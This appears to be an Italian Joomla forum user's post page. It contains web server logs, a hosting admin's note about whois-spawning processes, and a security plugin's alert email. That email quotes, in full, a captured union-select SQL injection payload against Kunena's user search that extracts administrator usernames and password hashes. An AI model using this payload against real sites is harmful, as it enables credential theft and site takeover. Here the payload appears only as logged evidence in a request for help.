Visualizza post
Questa sezione ti permette di visualizzare tutti i post inviati da questo utente. N.B: puoi vedere solo i post relativi alle aree dove hai l'accesso.
188.165.243.45 - - [07/Jul/2013:23:01:12 +0000] "GET /administrator/index.php HTTP/1.1" 401 3517 "administrator/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
188.165.243.45 - - [07/Jul/2013:23:01:12 +0000] "GET /administrator/index.php HTTP/1.1" 401 3517 "administrator/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
173.208.180.234 - - [08/Jul/2013:03:01:52 +0000] "GET /download/viewdownload/159-magike/2709-magikemgk4000ci-doc.html HTTP/1.0" 200 6604 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.3; http://www.majestic12.co.uk/bot.php?+)"
173.208.180.234 - - [08/Jul/2013:03:01:54 +0000] "GET /download/viewdownload/161-daewoo/2710-daewoo-vs-p150em.html HTTP/1.0" 200 6599 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.3; http://www.majestic12.co.uk/bot.php?+)"
173.208.180.234 - - [08/Jul/2013:03:01:56 +0000] "GET /download/viewdownload/161-daewoo/2711-daewoo-dvg-6000d.html HTTP/1.0" 200 6600 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.3; http://www.majestic12.co.uk/bot.php?+)"
I log sono pieni di questa ip tutti i giorni, 200 righe al giorno.... ma è google ??
66.249.72.47 - - [05/Jul/2013:23:37:15 +0000] "GET /component/jdownloads/viewdownload/280-linux/5301-proxy.html?Itemid=116 HTTP/1.1" 200 6756 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.72.59 - - [05/Jul/2013:23:42:50 +0000] "GET /component/jdownloads/viewcategory/49-cei-vari.html?order=date&dir=desc&start=70 HTTP/1.1" 200 4619 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.72.55 - - [05/Jul/2013:23:56:49 +0000] "GET /component/jdownloads/viewcategory/583-telecomandi.html?dir=asc&start=150 HTTP/1.1" 200 4666 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.72.46 - - [05/Jul/2013:23:57:46 +0000] "GET /component/jdownloads/viewcategory/470-yaesu.html?Itemid=0&order=hits&dir=asc&start=40 HTTP/1.1" 200 4684 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
188.165.243.45 - - [05/Jul/2013:23:58:03 +0000] "GET /administrator/index.php HTTP/1.1" 401 3517 "administrator/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
188.165.243.45 - - [05/Jul/2013:23:58:04 +0000] "GET /administrator/index.php HTTP/1.1" 401 3517 "administrator/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
69.197.128.26 - - [05/Jul/2013:23:00:54 +0000] "GET /download/viewdownload/433-first/8333-first556.html HTTP/1.0" 200 6720 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.3; http://www.majestic12.co.uk/bot.php?+)"
Hello- Here are the admin notes: Performing a whois on every single hit to your site is not the brightest idea. If they want to do this they should probably just go grab a database of it from the companies that offer it for free (aka Maxmind). digitcw7 29110 0.0 0.0 317172 29272 ? S Jun09 0:00 /ramdisk/php/53/bin/php5 /home3/digitcw7/public_html/index.php digitcw7 29164 0.0 0.0 11332 1144 ? S Jun09 0:00 sh -c whois 5.9.112.180 | grep netname digitcw7 29172 5.7 0.0 8924 988 ? R Jun09 551:31 whois 5.9.112.180 digitcw7 29173 0.0 0.0 6380 620 ? S Jun09 0:00 grep netname digitcw7 29551 0.0 0.0 318992 31256 ? S Jun12 0:00 /ramdisk/php/53/bin/php5 /home3/digitcw7/public_html/index.php digitcw7 29693 0.0 0.0 11332 1148 ? S Jun12 0:00 sh -c whois 173.199.117.235 | grep netname digitcw7 29696 4.5 0.0 8924 980 ? R Jun12 270:46 whois 173.199.117.235 digitcw7 29697 0.0 0.0 6380 620 ? S Jun12 0:00 grep netname digitcw7 31891 0.0 0.0 318992 31416 ? S Jun12 0:00 /ramdisk/php/53/bin/php5 /home3/digitcw7/public_html/index.php digitcw7 31902 0.0 0.0 11332 1148 ? S Jun12 0:00 sh -c whois 173.199.117.235 | grep netname digitcw7 31903 4.2 0.0 8924 980 ? R Jun12 252:35 whois 173.199.117.235 digitcw7 31904 0.0 0.0 6380 620 ? S Jun12 0:00 grep netname digitcw7 32679 0.0 0.0 318736 31100 ? S Jun12 0:00 /ramdisk/php/53/bin/php5 /home3/digitcw7/public_html/index.php digitcw7 32689 0.0 0.0 11332 1148 ? S Jun12 0:00 sh -c whois 95.225.166.243 | grep netname digitcw7 32691 4.1 0.0 8924 984 ? R Jun12 247:35 whois 95.225.166.243 digitcw7 32692 0.0 0.0 6380 620 ? S Jun12 0:00 grep netname I think this caused your issue. I suggest you re-evaluate this action.
Qualche tempo fà ho installato questo plugin- Marco's SQL Injection - LFI Interceptor .
Ora mi sono arrivate tre e-mail con il contenuto sotto riportato e in più ho trovato sul pannello
amministratore moduli e plugin con il classico lucchetto.
Cosa significa avete consigli ?
Joomla! 2.5.11
** Union Select [GET:search] => %' and 1=2) union select 1,2,concat(0x3a,username,0x3a,password,0x3a),3,4,5,6,62,1,1,0,0,0,1,15 from jos_users where usertype=0x53757065722041646d696e6973747261746f72-- ; ** Table name in url [GET:search] => %' and 1=2) -- 1,2,concat(0x3a,username,0x3a,password,0x3a),3,4,5,6,62,1,1,0,0,0,1,15 from jos_users where usertype=0x53757065722041646d696e6973747261746f72-- ; ** Union Select [REQUEST:search] => %' and 1=2) union select 1,2,concat(0x3a,username,0x3a,password,0x3a),3,4,5,6,62,1,1,0,0,0,1,15 from jos_users where usertype=0x53757065722041646d696e6973747261746f72-- ; ** Table name in url [REQUEST:search] => %' and 1=2) -- 1,2,concat(0x3a,username,0x3a,password,0x3a),3,4,5,6,62,1,1,0,0,0,1,15 from jos_users where usertype=0x53757065722041646d696e6973747261746f72-- ; **PAGE / SERVER INFO *REMOTE_ADDR : 178.33.80.217 *HTTP_USER_AGENT : MySuperBot 1.02 *REQUEST_METHOD : GET *QUERY_STRING : option=com_kunena&func=userlist&search=%25%27+and+1=2%29+union+select+1,2,concat(0x3a,username,0x3a,password,0x3a),3,4,5,6,62,1,1,0,0,0,1,15+from+jos_users+where+usertype=0x53757065722041646d696e6973747261746f72--+; ** SUPERGLOBALS DUMP (sanitized) *$_GET DUMP -[option] => com_kunena -[func] => userlist -[search] => %' and 1=2) -- 1,2,concat(0x3a,username,0x3a,password,0x3a),3,4,5,6,62,1,1,0,0,0,1,15 from -- users where usertype=0x53757065722041646d696e6973747261746f72-- ; *$_POST DUMP *$_COOKIE DUMP *$_REQUEST DUMP -[option] => com_kunena -[func] => userlist -[search] => %' and 1=2) -- 1,2,concat(0x3a,username,0x3a,password,0x3a),3,4,5,6,62,1,1,0,0,0,1,15 from -- users where usertype=0x53757065722041646d696e6973747261746f72-- ;
|
|